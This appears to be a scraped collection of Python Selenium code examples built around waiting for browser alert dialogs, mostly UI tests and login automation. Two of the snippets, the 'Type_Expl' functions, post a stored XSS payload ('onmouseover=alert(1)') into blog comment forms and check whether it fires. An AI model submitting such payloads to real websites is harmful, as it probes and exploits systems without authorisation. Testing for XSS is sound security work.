Esempio n. 1
0
 def save_form_as(self, name):
     self.click_save_button()
     WebDriverWait(self.browser, 10).until(alert_is_present())
     with self.browser.get_alert() as alert:
         alert.fill_with(name)
         alert.accept()
     WebDriverWait(self.browser, 10).until_not(alert_is_present())
Esempio n. 2
0
 def test_it(self):
     browser.get(self.login_url)
     self.assertEqual(browser.title, 'Auth Page')
     browser.find_element_by_id('openid').submit()
     login = WebDriverWait(browser, 2).until(
         EC.presence_of_element_located((By.NAME, 'user_name')))
     self.assertEqual(browser.title, 'Sign In')
     login.send_keys(self.login)
     passwd = browser.find_element_by_name('password')
     passwd.send_keys(self.password)
     passwd.submit()
     find_alert = EC.alert_is_present()
     find_continue = EC.presence_of_element_located(
         (By.ID, 'continue-button'))
     result = WebDriverWait(browser, 2).until(
         lambda driver: find_alert(driver) or find_continue(driver))
     if isinstance(result, Alert):
         alert = browser.switch_to_alert()
     else:
         result.click()
         alert = WebDriverWait(browser, 2).until(EC.alert_is_present())
     alert.accept()
     result = WebDriverWait(browser, 2).until(
         EC.presence_of_element_located((By.ID, 'result')))
     self.assertEqual(browser.title, 'Result Page')
     result = json.loads(result.text)
     self.assertTrue('profile' in result)
     self.assertTrue('credentials' in result)
     profile = result['profile']
     self.assertTrue('name' in profile)
     self.assertTrue('accounts' in profile)
def Type_Expl():
    Typed = False
    try:
        elem = driver.find_element_by_link_text("Pwned!")
        elem.click()
        WebDriverWait(driver, 3).until(EC.alert_is_present())
        alert = driver.switch_to_alert()
        print("XSS удался!")
        return(True)
    except (TimeoutException, NoSuchElementException):
        try:
            author = driver.find_element_by_name("author")
            author.send_keys("Nagibator")
            email = driver.find_element_by_name("email")
            email.send_keys("*****@*****.**")
            commentbox = driver.find_element_by_id("comment")
            commentbox.send_keys("[a <a href=']'></a><a href=' onmouseover=alert(1) '>Pwned!</a>")
            commentbox.submit()
            Typed = True
            elem = driver.find_element_by_link_text("Pwned!")
            elem.click()
            WebDriverWait(driver, 3).until(EC.alert_is_present())
            alert = driver.switch_to_alert()
            print("XSS удался!")
            return(True)
        except (NoSuchElementException, TimeoutException):
            if Typed == True:
                print("Эксплоит был применён, но, из-за модерации комментариев, нельзя проверить удачно, или нет")
            return(False)
Esempio n. 4
0
    def login(self):
        self.browser.get(self.conf['url'])
        # 切到iframe
        self.browser.execute_script('document.getElementsByTagName("iframe")[0].id="iframe"')
        self.browser.switch_to.frame("iframe")
        print '切到iframe'

        # 自动填充用户名密码
        inputUserName = self.browser.find_element_by_id('username')
        inputPasswd   = self.browser.find_element_by_id('passwd')
        inputRmNum    = self.browser.find_element_by_id('rmNum')
        btnLogin      = self.browser.find_element_by_class_name('loginBTN')
        inputUserName.send_keys(self.conf['username'])
        inputPasswd.send_keys(self.conf['passwd'])
        print '自动填充用户名密码'

        # 等待验证码填写完成后登录
        while True:
            v = inputRmNum.get_attribute("value")
            if(len(v) == 4):
                btnLogin.click()
                break
            time.sleep(0.1)

        try:
            # 登录成功后自动关掉提示框
            WebDriverWait(self.browser, 10).until(EC.alert_is_present())
            self.browser.switch_to.alert.accept()
            WebDriverWait(self.browser, 10).until(EC.alert_is_present())
            self.browser.switch_to.alert.accept()
            print '登录成功后自动关掉提示框'
        except Exception, e:
            pass
Esempio n. 5
0
def Type_Expl():
    Typed = False
    try:
        #Ищем уже написанный эксплоит
        elem = driver.find_element_by_link_text("Exploited!")
        elem.click()
        WebDriverWait(driver, 3).until(EC.alert_is_present())
        alert = driver.switch_to_alert()
        print("XSS is allowed!")
        return(True)
    except (TimeoutException, NoSuchElementException):
        try:
            #заполняем поля для комментария
            author = driver.find_element_by_name("author")
            author.send_keys("Nagibator")
            email = driver.find_element_by_name("email")
            email.send_keys("*****@*****.**")
            commentbox = driver.find_element_by_id("comment")
            #сам код эксплоита
            commentbox.send_keys("[a <a href=']'></a><a href=' onmouseover=alert(1) '>Exploited!</a>")
            commentbox.submit()
            Typed = True
            #опять ищем написанный эксплоит
            elem = driver.find_element_by_link_text("Exploited!")
            elem.click()
            WebDriverWait(driver, 3).until(EC.alert_is_present())
            alert = driver.switch_to_alert()
            print("XSS is allowed!")
            return(True)
        except (NoSuchElementException, TimeoutException):
            if Typed == True:
                print("XSS was typed, but there is comment administration. So we havn't proof of XSS vulnerability")
                return(True)
            return(False)
Esempio n. 6
0
def testExpectedConditionAlertIsPresent(driver, pages):
    pages.load('blank.html')
    with pytest.raises(TimeoutException):
        WebDriverWait(driver, 0.7).until(EC.alert_is_present())
    driver.execute_script("setTimeout(function(){alert('alerty')}, 200)")
    WebDriverWait(driver, 0.7).until(EC.alert_is_present())
    alert = driver.switch_to.alert
    assert 'alerty' == alert.text
    alert.dismiss()
Esempio n. 7
0
def checkAlert():
    try:
        WebDriverWait(b,pollTime).until(EC.alert_is_present())
        if EC.alert_is_present() == False:
            return False
        else:
            return True
    except:
        return False
Esempio n. 8
0
 def testExpectedConditionAlertIsPresent(self, driver, pages):
     if driver.capabilities['browserName'] == 'phantomjs':
         pytest.xfail("phantomjs driver does not support alerts")
     pages.load('blank.html')
     with pytest.raises(TimeoutException):
         WebDriverWait(driver, 0.7).until(EC.alert_is_present())
     driver.execute_script("setTimeout(function(){alert('alerty')}, 200)")
     WebDriverWait(driver, 0.7).until(EC.alert_is_present())
     alert = driver.switch_to.alert
     assert 'alerty' == alert.text
     alert.dismiss()
Esempio n. 9
0
 def load_form_by_name(self, name):
     with wait_for_page_load(self.browser):
         self.browser.reload()
     select = self.browser.find_by_id("formsSelector")
     for elem in select.find_by_tag('option'):
         if elem.text == name:
             elem.click()
             break
     WebDriverWait(self.browser, 10).until(alert_is_present())
     self.accept_alert()
     WebDriverWait(self.browser, 10).until_not(alert_is_present())
     self.browser.reload()
 def testExpectedConditionAlertIsPresent(self):
     self._loadPage('blank')
     try:
         WebDriverWait(self.driver, 0.7).until(EC.alert_is_present())
         self.fail("Expected TimeoutException to have been thrown")
     except TimeoutException as e:
         pass
     self.driver.execute_script("setTimeout(function(){alert('alerty')}, 200)")
     WebDriverWait(self.driver, 0.7).until(EC.alert_is_present())
     alert = self.driver.switch_to.alert
     self.assertEqual('alerty', alert.text)
     alert.dismiss()
Esempio n. 11
0
    def test_create_account_and_login(self):
        username = "******" + str(random.randint(1,99999))
        d = self.driver
        d.get("http://127.0.0.1:8080/")
        time.sleep(AuthTestCase.TIME_TO_WAIT)
        register_link = d.find_element_by_css_selector('a[href="#/signup"]')
        self.assertIsNotNone(register_link)
        register_link.click()
        time.sleep(AuthTestCase.TIME_TO_WAIT)
        username_input = d.find_element_by_id("username")
        self.assertIsNotNone(username_input)
        password_input = d.find_element_by_id("password")
        self.assertIsNotNone(password_input)
        username_input.send_keys(username)
        password_input.send_keys("pass")
        submit = d.find_element_by_css_selector('button[type="submit"]')
        self.assertIsNotNone(submit)
        time.sleep(AuthTestCase.TIME_TO_WAIT)
        submit.click()

        try:
            WebDriverWait(d, AuthTestCase.TIME_TO_WAIT).until(EC.alert_is_present(), 'Timed out waiting for alert ')

            alert = d.switch_to_alert()
            alert.accept()
        except TimeoutException:
            self.fail("No alert created when register")

        # login
        username_input = d.find_element_by_id("username")
        self.assertIsNotNone(username_input)
        password_input = d.find_element_by_id("password")
        self.assertIsNotNone(password_input)
        username_input.clear()
        password_input.clear()
        username_input.send_keys(username)
        password_input.send_keys("pass")
        submit = d.find_element_by_css_selector('button[type="submit"]')
        self.assertIsNotNone(submit)
        time.sleep(AuthTestCase.TIME_TO_WAIT)
        submit.click()
        time.sleep(AuthTestCase.TIME_TO_WAIT)
        try:
            WebDriverWait(d, AuthTestCase.TIME_TO_WAIT).until(EC.alert_is_present(), 'Timed out waiting for alert')

            alert = d.switch_to_alert()
            alert.accept()
        except TimeoutException:
            self.fail("No alert created when logged in")
        menu = d.find_element_by_css_selector('li[class="header"]')
        self.assertIsNotNone(menu)
        time.sleep(AuthTestCase.TIME_TO_WAIT)
Esempio n. 12
0
 def testExpectedConditionAlertIsPresent(self, driver, pages):
     if driver.capabilities['browserName'] == 'phantomjs':
         pytest.xfail("phantomjs driver does not support alerts")
     if driver.capabilities['browserName'] == 'firefox' and driver.w3c:
         pytest.xfail("Marionette issue: https://bugzilla.mozilla.org/show_bug.cgi?id=1297551")
     pages.load('blank.html')
     with pytest.raises(TimeoutException):
         WebDriverWait(driver, 0.7).until(EC.alert_is_present())
     driver.execute_script("setTimeout(function(){alert('alerty')}, 200)")
     WebDriverWait(driver, 0.7).until(EC.alert_is_present())
     alert = driver.switch_to.alert
     assert 'alerty' == alert.text
     alert.dismiss()
Esempio n. 13
0
 def testExpectedConditionAlertIsPresent(self):
     if self.driver.capabilities['browserName'] == 'phantomjs':
         pytest.xfail("phantomjs driver does not support alerts")
     self._loadPage('blank')
     try:
         WebDriverWait(self.driver, 0.7).until(EC.alert_is_present())
         self.fail("Expected TimeoutException to have been thrown")
     except TimeoutException as e:
         pass
     self.driver.execute_script("setTimeout(function(){alert('alerty')}, 200)")
     WebDriverWait(self.driver, 0.7).until(EC.alert_is_present())
     alert = self.driver.switch_to.alert
     self.assertEqual('alerty', alert.text)
     alert.dismiss()
Esempio n. 14
0
    def test_search_in_python_org(self):
        driver = self.driver
        driver.implicitly_wait(5)
        actions = ActionChains(driver)
        driver.get("http://localhost:8080")

        value = driver.find_element_by_css_selector('.graph')
        actions.click(on_element=value)
        actions.perform()

        menu = driver.find_element_by_id('VIZ_popup_menu')
        buttons = driver.find_elements_by_css_selector('#VIZ_popup_menu button')
        for button in buttons:
            text = button.get_attribute('textContent')
            if text == 'Set range':
                button.click()
                WebDriverWait(driver, 5).until(EC.alert_is_present())
                alert = driver.switch_to_alert()
                alert.send_keys("-0.1,0.1")
                alert.accept()
                break
                
        tick = driver.find_element_by_css_selector('g.axis:nth-child(4) > g:nth-child(1)')
        text = tick.get_attribute('textContent')
        assert text == "-0.1"
Esempio n. 15
0
    def test_book_price(self):
          self.personal_cabinet.open(self.driver,self.selbase_url)
          self.personal_cabinet.login(self.driver,"test","1")
          time.sleep(2)
          self.quoted_dinamic.open(self.driver,self.selbase_url)
          self.quoted_dinamic.search(self.driver,self.param)  #"30.03.2020"
          #method that opens new tab
          self.quoted_dinamic.get_the_price(self.driver,QuotedDinamic.price_values["price_1"])          
          #get next tab
          self.driver.current_window_handle 
          currentHandle = set(self.driver.window_handles)
          currentHandle.remove(self.driver.current_window_handle)  
          self.driver.switch_to_window(currentHandle.pop())          
          self.busket.book_single_turist(self.driver,DataGenerator.generate_tourist_data(),self.second_param,"01","01","1980","123","456")

          time.sleep(5)
          #handle alert about no mail 
          try:
             WebDriverWait(self.driver, 5).until(EC.alert_is_present(),
                                   "Timed out waiting for PA creation " +
                                   "confirmation popup to appear.")

             alert = self.driver.switch_to_alert()
             alert.accept()
             print ("alert accepted")
          except TimeoutException:
             print ("no alert")
Esempio n. 16
0
 def handle_popup(self,cancel):
     wait = WebDriverWait(self.selenium, self.timeout)
     wait.until(EC.alert_is_present())    # throws timeout exception if not found
     popup = self.selenium.switch_to_alert()
     answer = 'cancel' if cancel else 'ok'
     print popup.text + " ...clicking " + answer
     popup.dismiss() if cancel else popup.accept()
    def test_removed_origin_display(self):
        """Ensure origin is displayed and removed properly."""
        self.add_test_origin("pbtest.org", "block")

        self.load_url(pbtest.PB_CHROME_OPTIONS_PAGE_URL)
        origins = self.driver.find_element_by_id("blockedResourcesInner")

        # Remove displayed origin.
        try:
            remove_origin_element = origins.find_element_by_xpath(
                './/div[@data-origin="pbtest.org"]' +
                '//div[@class="removeOrigin"]')
        except NoSuchElementException:
            self.fail("Tracking origin is not displayed")
        remove_origin_element.click()
        # Make sure the alert is present. Otherwise we get intermittent errors.
        WebDriverWait(self.driver, 3).until(EC.alert_is_present())
        self.driver.switch_to.alert.accept()
        # Check tracker count.
        try:
            WebDriverWait(self.driver, 5).until(
                EC.text_to_be_present_in_element((By.ID, "count"), "0"))
        except TimeoutException:
            self.fail("Origin count should be 0 after deleting origin")

        # Check that no origins are displayed.
        try:
            origins = self.driver.find_element_by_id("blockedResourcesInner")
        except NoSuchElementException:
            origins = None
        error_message = "Origin should not be displayed after removal"
        self.assertIsNone(origins, error_message)
	def testDifferentSearchInputs(self):
		driver = self.driver
		driver.get("http://shop.nordstrom.com")
		searchBox = driver.find_element_by_id("keyword-search-input")

		#Test numbers and letters
		searchBox.send_keys("abc123")
		searchBox.send_keys(Keys.RETURN)
		self.assertNotEqual(driver.current_url, "http://shop.nordstrom.com")
		pastURL = driver.current_url

		searchBox = driver.find_element_by_id("keyword-search-input")
		searchBox.clear()

		#Test just special characters
		searchBox.send_keys("$%*(")
		searchButton = driver.find_element_by_id("keyword-search-submit")
		searchButton.click()

		try:
			WebDriverWait(driver, 3).until(EC.alert_is_present(), 'Timed out')
			alert = driver.switch_to.alert
			alert.accept()
		except TimeoutException:
			self.fail("No alert is present")

		searchBox = driver.find_element_by_id("keyword-search-input")
		searchBox.clear()	

		#Test just numbers
		searchBox.send_keys("765")
		searchBox.send_keys(Keys.RETURN)
		self.assertNotEqual(driver.current_url, pastURL)
Esempio n. 19
0
File: CSYD.py Progetto: caijun/PFD
def downloadFile(url, localfile):
    global previous
    # only real explorer can deal with the alert:sorry,please login first
    # chrome browser
    chromeOptions = webdriver.ChromeOptions()
    prefs = {"download.default_directory" : os.getcwd()}
    chromeOptions.add_experimental_option("prefs", prefs)
    # add --test-type argument to disable the "unsupported flag" prompt 
    chromeOptions.add_argument("--test-type")
    browser = webdriver.Chrome(chrome_options = chromeOptions)
    browser.set_page_load_timeout(20)
    browser.get(url)
    try:
        WebDriverWait(browser, 3).until(EC.alert_is_present())
 
        alert = browser.switch_to_alert()
        alert.accept()
#         print("alert accepted")
    except TimeoutException:
        print("no alert")
         
    # login in cnki
    browser.find_element_by_id("username").send_keys("thlib")
    browser.find_element_by_id("password").send_keys("thlib")
    browser.find_element_by_id("ImageButton1").click()
    
    if waituntil(5):
        newest = max(glob.iglob("*.[Xx][Ll][Ss]"), key = os.path.getctime)
        print("download: " + newest)
        os.renames(newest, localfile)
        previous = localfile
        print("======")

    # browser.close()
    browser.quit()
Esempio n. 20
0
def get_modal_alert(browser):
    """
    Returns instance of modal alert box shown in browser after waiting
    for 6 seconds
    """
    WebDriverWait(browser, 6).until(EC.alert_is_present())
    return browser.switch_to.alert
Esempio n. 21
0
    def test_compare_products_removal_alert(self):
        # get the search textbox
        search_field = self.driver.find_element_by_name("q")
        search_field.clear()

        # enter search keyword and submit
        search_field.send_keys("phones")
        search_field.submit()

        # click the Add to compare link
        self.driver.\
            find_element_by_link_text("Add to Compare").click()
            
        # click on Remove this item link, this will display # an alert to the user
        self.driver.find_element_by_link_text("Clear All").click()

        # switch to the alert
        #alert = self.driver.switch_to_alert()
        alert = WebDriverWait(self.driver,10).until(expected_conditions.alert_is_present())

        # get the text from alert
        alert_text = alert.text

        # check alert text
        self.assertEqual("Are you sure you would like to remove all products from your comparison?", alert_text)

        # click on Ok button
        alert.accept()
Esempio n. 22
0
 def accept_alert_mail(delay):
     try:
         global waitingEmail
         WebDriverWait(browser, delay).until(EC.alert_is_present())
         switchto_alert = browser.switch_to.alert
         logger.info('Accepting alert: %s', switchto_alert.text)
         if switchto_alert.text == 'Email yang anda masukkan sudah pernah digunakan.':
             waitingEmail = False
             newemailadd = False
         elif switchto_alert.text != 'Ada kesalahan ketika mencoba mengirimkan Email Validasi ke alamat email anda!':
             waitingEmail = False
             newemailadd = True
         else:
             waitingEmail = True
             logger.info('Wrong alert. Retrying')
             newemailadd = True
         switchto_alert.accept()
         return newemailadd
     except NoAlertPresentException:
         logger.error('alert not present')
         waitingEmail = True
         return True
     except TimeoutException as time_out:
         logger.info('Timeout Exception: %s', time_out)
         waitingEmail = True
         return True
Esempio n. 23
0
def step_impl(context, dialogbox_answer):
    WebDriverWait(context.driver, 3).until(ec.alert_is_present())
    alert = context.driver.switch_to_alert()
    if dialogbox_answer == "No":
        alert.dismiss()
    elif dialogbox_answer == "Yes":
        alert.accept()
Esempio n. 24
0
    def do_backup(self):
        """perform a database backup"""

        oldlog = self.backup_log.value
        self.backup.click()

        # wait for the alert to show up
        self.logger.debug("waiting for database backup confirmation")
        WebDriverWait(self._browser, 10).until(
            EC.alert_is_present(), "while waiting for the database backup confirmation"
        )
        self.logger.debug("found confirmation")
        alert = self._browser.switch_to_alert()
        alert.accept()
        self.logger.debug("accepted confirmation")
        self._browser.switch_to_default_content()

        def has_new_log_info(driver):
            driver.refresh()
            newlog = self.backup_log.value
            logdiff = newlog[0 : -len(oldlog)]
            if len(logdiff) > 0:
                return logdiff
            else:
                return False

        logdiff = WebDriverWait(self._browser, 10).until(has_new_log_info, "while waiting for new backup log info")

        # return the new log text
        return logdiff
Esempio n. 25
0
def wait_alert_show_up(browser, timeout=settings.TIMEOUT_FOR_ACTIVE):
    WebDriverWait(browser, timeout).until(EC.alert_is_present(), 'Timed out waiting for activate alert')
    try:
        alert = browser.switch_to_alert()
        alert.accept()
    except TimeoutException:
        assert False, "Cannot find alert!"
def load_page(url, cookies=0):
    try:
        main_handle = driver.current_window_handle
        if cookies == 0:
            driver.delete_all_cookies()
            time.sleep(1)
        if "http" not in url.split("/")[0]:
            url = "http://" + url
        driver.get(url) # get the url. Web driver wil wait until the page is fully loaded
    except TimeoutException as te:
        print "Timeout Exception occurred while loading page: " + url
        print te
    try:
        WebDriverWait(driver, .5).until(EC.alert_is_present()) #web driver will wait for 0.5 second for alert
        alert = driver.switch_to_alert()
        alert.dismiss()
        windows = driver.window_handles
        if len(windows) > 1:
            for window in windows:
                if window != main_handle:
                    driver.switch_to_window(window)
                    driver.close() # it will close one tab
            driver.switch_to_window(main_handle)
        wait_for_ready_state(driver, 15, 'complete')
    except (TimeoutException, NoAlertPresentException):
        pass
Esempio n. 27
0
 def _check_alert_present():
     if modal.is_displayed:
         # infinispinner if accept button is clicked too quick in  modal
         # BZ(1713399)
         sleep(1)
         return modal
     return expected_conditions.alert_is_present()
 def add_link(self, addr, text):
     self.driver.find_element_by_xpath(self.ADD_LINK).click()
     WebDriverWait(self.driver, 30, 0.1).until(EC.alert_is_present())
     alert = self.driver.switch_to.alert
     alert.send_keys(addr)
     alert.accept()
     ActionChains(self.driver).send_keys(text).perform()
Esempio n. 29
0
 def wait_until_alert_is_present(self, timeout=None):
     alert_present = False
     self.wait_for(
         lambda: EC.alert_is_present(),
         timeout=timeout,
         message="No alert was present after %s" % self._format_timeout(timeout or self.selenium_implicit_wait),
     )
def is_mobile_cart_result_succes(driver):
    WebDriverWait(driver, 5).until(EC.alert_is_present(), 'Pay response time out Exception')
    alert = driver.switch_to.alert
    logger.info(alert.text)

    if alert.text == '장바구니에 상품이 담겼습니다.':
        driver.switch_to_alert().accept()
        return True
    elif alert.text == '죄송합니다. 해당 상품은 바로 구매로만 주문이 가능한 상품입니다. 바로 구매하시겠습니까?':
        driver.switch_to_alert().dismiss()
    elif alert.text == '희망배송일 선택이 필요한 상품입니다. 상품상세로 이동하시겠습니까?':
        driver.switch_to_alert().dismiss()
    elif alert.text == '사은품 선택이 필요한 상품입니다. 상품상세로 이동하시겠습니까?':
        driver.switch_to_alert().dismiss()
    elif alert.text == '죄송합니다. 해당 상품은 옵션 선택이 필요한 상품입니다.':
        driver.switch_to_alert().accept()
    elif alert.text == 'data is null':
        driver.switch_to_alert().accept()
        raise ValueError('Pay response null Exception.')
    elif alert.text == '주문을 완료 할수 없습니다.':
        driver.switch_to_alert().accept()
        raise ValueError('Pay response fail Exception.')
    else:
        driver.switch_to_alert().accept()
        return True
Esempio n. 31
0
 def __init__(self, driver):
     BaseAciton.__init__(self, driver)
     self.alert_is_present=alert_is_present()
     self.log=Log()
Esempio n. 32
0
                time.sleep(3)
                #print(len(driver.window_handles))
                for handle in driver.window_handles:
                    if handle != parent_window:
                        #print(driver.current_url)
                        driver.switch_to.window(handle)
                        #print(driver.current_url)
                        if ddlIsComplete != "": #是否整改完成
                            Select(driver.find_element_by_id("ctl00_ContentPlaceHolder1_ddlIsComplete")).select_by_value(ddlIsComplete)
                        if ddlZiChaJieGuo != "": #内部复查结果
                            Select(driver.find_element_by_id("ctl00_ContentPlaceHolder1_ddlZiChaJieGuo")).select_by_value(ddlZiChaJieGuo)
                        if dtbYuJiTime != "": #预计整改完成时间
                            driver.find_element_by_id("ctl00_ContentPlaceHolder1_dtbYuJiTime").clear()
                            driver.find_element_by_id("ctl00_ContentPlaceHolder1_dtbYuJiTime").send_keys(dtbYuJiTime)
                        #js = "var completeDate=document.getElementById('ctl00_ContentPlaceHolder1_dtbYuJiTime'); completeDate.value='"+completedate+"'"
                        #driver.execute_script(js)
                        driver.find_element_by_id("ctl00_ContentPlaceHolder1_btnSave").click()
                        element = WebDriverWait(driver,20,2).until(EC.alert_is_present())#显示等待10s
                        element.accept()
                        driver.switch_to.window(parent_window)
                        print(tds[1].text+","+name)
                        #删除已经遍历的键
                        del projectDicts[tds[1].text]
finally:
    # newline:表示换行,默认情况下都是'\n'
    file = open('info.csv', 'w', encoding='GB2312', newline='')
    writer = csv.writer(file)
    writer.writerows(projectDicts.values())
    driver.quit()
    print("结束时间:"+time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))
Esempio n. 33
0
def select_course(driver, course, thread_name):
    driver.switch_to.frame(driver.find_element_by_name('menuFrame'))
    driver.implicitly_wait(30)

    driver.find_element_by_xpath("//a[@title='教務系統']").click()
    driver.find_element_by_xpath("//a[@title='選課系統']").click()
    driver.find_element_by_xpath("//a[@title='線上即時加退選']").click()

    time.sleep(3)

    driver.switch_to.default_content()
    driver.implicitly_wait(30)

    driver.switch_to.frame(driver.find_element_by_name('mainFrame'))
    driver.implicitly_wait(30)

    driver.find_element_by_name('Q_COSID').send_keys(course['id'])
    driver.find_element_by_name('QUERY_COSID_BTN').click()

    time.sleep(1)

    count = 1
    selected = []
    total_rows = int(driver.find_element_by_id('PC_TotalRow').text)

    if total_rows == 0:
        raise CourseExistException

    while (count == 1) or ((course['id'], course['class']) not in selected):
        if total_rows == 1:
            driver.find_element_by_id('DataGrid1_ctl02_edit').click()
        else:
            if int(driver.find_element_by_id('PC_PageSize').text) != 100:
                driver.execute_script('$("#PC_PageSize").attr("value", 100)')
                driver.find_element_by_id('PC_ShowRows').send_keys(Keys.ENTER)

            WebDriverWait(driver, 3).until(
                EC.presence_of_element_located(
                    (By.CSS_SELECTOR, '#DataGrid1 tbody tr')))
            classes = list(
                map(
                    lambda x: x.text.split()[3],
                    driver.find_elements_by_css_selector('#DataGrid1 tbody tr')
                    [1:]))
            driver.find_element_by_id('DataGrid1_ctl{:02}_edit'.format(
                2 + classes.index(course['class']))).click()

        while True:
            try:
                WebDriverWait(driver, 3).until(EC.alert_is_present())
            except:
                break
            driver.switch_to.alert.accept()

        WebDriverWait(driver, 3).until(
            EC.presence_of_element_located(
                (By.CSS_SELECTOR, '#DataGrid3 tbody tr')))
        selected = list(
            map(
                lambda x: tuple(x.text.split()[1:3]),
                driver.find_elements_by_css_selector('#DataGrid3 tbody tr')
                [1:]))
        print(f'{thread_name} ({course["id"]}): {count} times')
        count += 1

    return True
Esempio n. 34
0
 def alert_is_pressent(self):
     """判断是否有弹出框"""
     ele = self.WebDriverWait().until(EC.alert_is_present())
     return ele
Esempio n. 35
0
 def test_edit(self):
   print("<EditDocTest.test_edit>")
   self._set_up()
   
   # get id
   zmi_item = self._find_element(By.CSS_SELECTOR, '.zmi-item:last-of-type')
   id = zmi_item.get_attribute("id")
   
   # open actions-dropdown-menu and click create document
   el = self._show_zmi_action(id)
   item = el.find_element_by_link_text('Dokument')
   self._wait_for_click(item, By.CSS_SELECTOR, '#zmiIframeAddDialog')
   self._hide_zmi_actions()
   
   # insert frame
   MARKER = "%s-%s" % (self.id(), random.randint(0, 100000))
   dialog = self._find_element(By.CSS_SELECTOR, '#zmiIframeAddDialog')
   self._wait(lambda driver: dialog.is_displayed())
   dialog.find_element(By.CSS_SELECTOR, '.title').send_keys(MARKER)
   dialog.find_element(By.CSS_SELECTOR, '.titlealt').send_keys(MARKER)
   with self._wait_for_page_load():
       dialog.find_element(By.XPATH, '//button[text()="Einfügen"]').click()
  
   # wait until saved
   self._find_element(By.CSS_SELECTOR, '.alert-success')
  
   # open properties tab
   with self._wait_for_page_load():
       self._find_element(By.XPATH, '//ul/li/a[text()="Eigenschaften"]').click()
  
   # change properties
   MARKER = "%s-%s" % (self.id(), random.randint(0, 100000))
   self._find_element(By.CSS_SELECTOR, '#tabProperties .title').send_keys(MARKER)
   self._find_element(By.CSS_SELECTOR, '#tabProperties .titlealt').send_keys(MARKER)
   with self._wait_for_page_load():
       self._find_element(By.XPATH, '//button[text()="Speichern"]').click()
  
   # wait until saved
   self._find_element(By.CSS_SELECTOR, '.alert-success')
  
   # get id from url
   url = self.driver.current_url
   id = 'zmi_item_'+url.split('/')[-2]
   
   # click parent breadcrumb
   li = self._find_element(By.CSS_SELECTOR, '.breadcrumb li:first-of-type')
   with self._wait_for_page_load():
       li.click()
  
   # open actions-dropdown-menu and click delete document
   el = self._show_zmi_action(id)
   item = el.find_element_by_css_selector('.icon-trash')
   self._wait(lambda driver: item.is_displayed())
   item.click()
   wait = WebDriverWait(self.driver, 5)
   wait.until(EC.alert_is_present())
   with self._wait_for_page_load():
       self.driver.switch_to.alert.accept()
  
   # wait until deleted
   self._find_element(By.CSS_SELECTOR, '.alert-success')
  
   self._tear_down()
   print("</EditDocTest.test_edit>")
Esempio n. 36
0
    username = os.environ.get('Huawei_Wifi_Username', '')
    password = os.environ.get('Huawei_Wifi_Password', '')

    huawei = Huawei()
    huawei.login(username, password)

    for command in ['Advanced', 'Security', 'Parental Control']:
        huawei.click(command)

    for frame in ['Content', 'Overview']:
        huawei.switch_to_frame(frame)

    for device_description, mac_address in users.items():
        huawei.click('New')
        huawei.select_text_option('Specified Device',
                                  'Manually input MAC address')
        huawei.fill_form('MAC Address', mac_address)
        huawei.fill_form('Device Description', device_description)
        huawei.select_text_option('Template', 'No Access')
        huawei.click('Apply')

        try:
            WebDriverWait(huawei.driver, 0.5).until(EC.alert_is_present())
            alert = huawei.driver.switch_to.alert
            logger.info(f'[{alert.text}] {device_description} > {mac_address}')
            alert.accept()
        except TimeoutException:
            logger.info(f'[Success] {device_description} > {mac_address}')

    huawei.driver.quit()
Esempio n. 37
0
WebDriverWait(driver, 20).until(EC.visibility_of_element_located(locator))
driver.find_element(*locator).click()

#iframe里的HTML切换:
#方式一:
# #先等待iframe可用
# driver.switch_to.frame(4)
# driver.switch_to.frame("login_frame_qq")
# driver.switch_to.frame(driver.find_element_by_xpath('//iframe[@name="login_frame_qq"]'))
#
# #方式二:
# # EC.frame_to_be_available_and_switch_to_it("login_frame_qq")#确认iframe可用并切进,可以传入的下标、name属性、对象
# WebDriverWait(driver,20).until(EC.frame_to_be_available_and_switch_to_it("login_frame_qq"))

# 我要从iframe里面切到默认的HTML当中
driver.switch_to.default_content()
#切换到上一个父iframe
driver.switch_to.parent_frame()

#alert弹窗:
#2.等待alert弹窗出现
WebDriverWait(driver, 20).until(EC.alert_is_present())
#3.切换
alert = driver.switch_to.alert
#4、使弹窗消失
print(alert.text)  #获取alert弹窗里面的内容
alert.accept()  #确认
alert.dismiss()  #取消按钮
alert.send_keys()  #输入内容

#进行后续其他元素操作
Esempio n. 38
0
            driver.get(login_url)
            driver.implicitly_wait(2)
            usernameField = check_element_exists(username_key, driver)
            passwordField = check_element_exists(password_key, driver)
            buttonField = check_submit_exists(driver)

            if (usernameField and passwordField and buttonField):
                usernameField.send_keys(username)
                passwordField.send_keys(password)
                buttonField.click()

            for page in reflected_pages:
                driver.get(page)
                driver.implicitly_wait(2)
                try:
                    if EC.alert_is_present():
                        alert = driver.switch_to_alert()
                        if attackString in alert.text:
                            log_text += "Exploit verified in " + driver.current_url + "\n"
                            success_flag = 1
                        alert.accept()
                        driver.implicitly_wait(2)
                except NoAlertPresentException:
                    success_flag = 0
                if (success_flag == 1):
                    break
            driver.close()
            #if exploit was successfull write details to a json file
            if (success_flag == 1):
                output_file_name = output_file_path + input_file
                out_url = action_url
Esempio n. 39
0
        char1list.append(line)

for beginstr in char1list:
    beginstr = beginstr.strip()
    senstive_content = beginstr + centerstr + endstr
    loops_count += 1
    loops_str = str(loops_count)
    app_name = appname + loops_str
    acount_name = accountname + loops_str

    try:
        flag = 0
        web_flow()
        data_input_submit(app_name, acount_name, senstive_content, testkey,
                          hostname)
        if EC.alert_is_present()(driver):
            alerttext = driver.switch_to.alert.text
            alerttext = alerttext.strip()
            if alerttext == 'app create success':
                if beginstr == "-----BEGIN CERTIFICATE-----":
                    result = "*********   PASS   *********"
                    with open('success.txt', 'a') as f:
                        f.write('ID: ')
                        f.write(loops_str)
                        f.write('\n')
                        f.write('Alert Message : ')
                        f.write(alerttext)
                        f.write("\n")
                        f.write('ORIGIN INPUT: ')
                        f.write('\n')
                        f.write(testkey)
Esempio n. 40
0
 def _wait_alert(self):
     return WebDriverWait(self.browser, 1).until(EC.alert_is_present())
Esempio n. 41
0
 def wait_for_alert(self):
     self.element = WebDriverWait(self.driver, self.DEFAULT_WAIT_TIME,
                                  0.1).until(EC.alert_is_present())
     return self
Esempio n. 42
0
 def is_alert(self):
     """判断alert是否存在,存在返回alert,可以进行alert操作,不存在返回False"""
     ruslt = WebDriverWait(self.driver, self.timeout,
                           self.t).until(EC.alert_is_present())
     return ruslt
def Relatorio5_7_1_GPS(branch, branch_code, login, password):
    """
    Função que automatiza a geração dos dados do relatório 3.16.1
    variáveis de entrada:
    Branch - número do branch de 1 a 4
    Branch_code - código do branch no promax 132000, 61913, 85789, 63785
    Login - Login do usuário no Promax
    Password - Senha

    retorna o arquivo csv baixado na pasta final_donwnload_path
    """
